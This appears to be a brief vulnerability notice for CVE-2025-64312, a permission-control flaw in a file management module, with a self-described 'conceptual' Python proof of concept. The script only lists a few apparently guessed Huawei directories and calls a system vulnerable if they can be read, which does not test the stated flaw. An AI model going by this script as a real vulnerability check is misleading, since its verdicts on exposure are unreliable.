Permission control vulnerability in the file management module.
Impact: Successful exploitation of this vulnerability may affect service confidentiality.
The following code is for security research and authorized testing only.
python
# CVE-2025-64312 PoC - Permission Control Bypass in File Management Module
# Note: This is a conceptual PoC based on the vulnerability description
# Actual exploitation requires physical access and user interaction
import os
import sys
def check_vulnerability():
"""
Check if the system is vulnerable to CVE-2025-64312
This vulnerability allows unauthorized file access in the file management module
"""
print("[*] Checking for CVE-2025-64312 vulnerability...")
print("[*] Target: File Management Module Permission Control")
# Check if sensitive directories exist
sensitive_paths = [
"/etc/huawei/confidential",
"/var/huawei/secrets",
"/opt/huawei/config/sensitive"
]
vulnerable = False
for path in sensitive_paths:
if os.path.exists(path):
# Check if files are accessible without proper permissions
try:
files = os.listdir(path)
print(f"[!] Found accessible sensitive directory: {path}")
print(f"[!] Contents: {files}")
vulnerable = True
except PermissionError:
print(f"[+] Directory {path} is properly protected")
if vulnerable:
print("[!] System appears to be VULNERABLE to CVE-2025-64312")
print("[!] Recommendation: Apply security patch from Huawei")
return True
else:
print("[+] System does not appear to be vulnerable")
return False
if __name__ == "__main__":
check_vulnerability()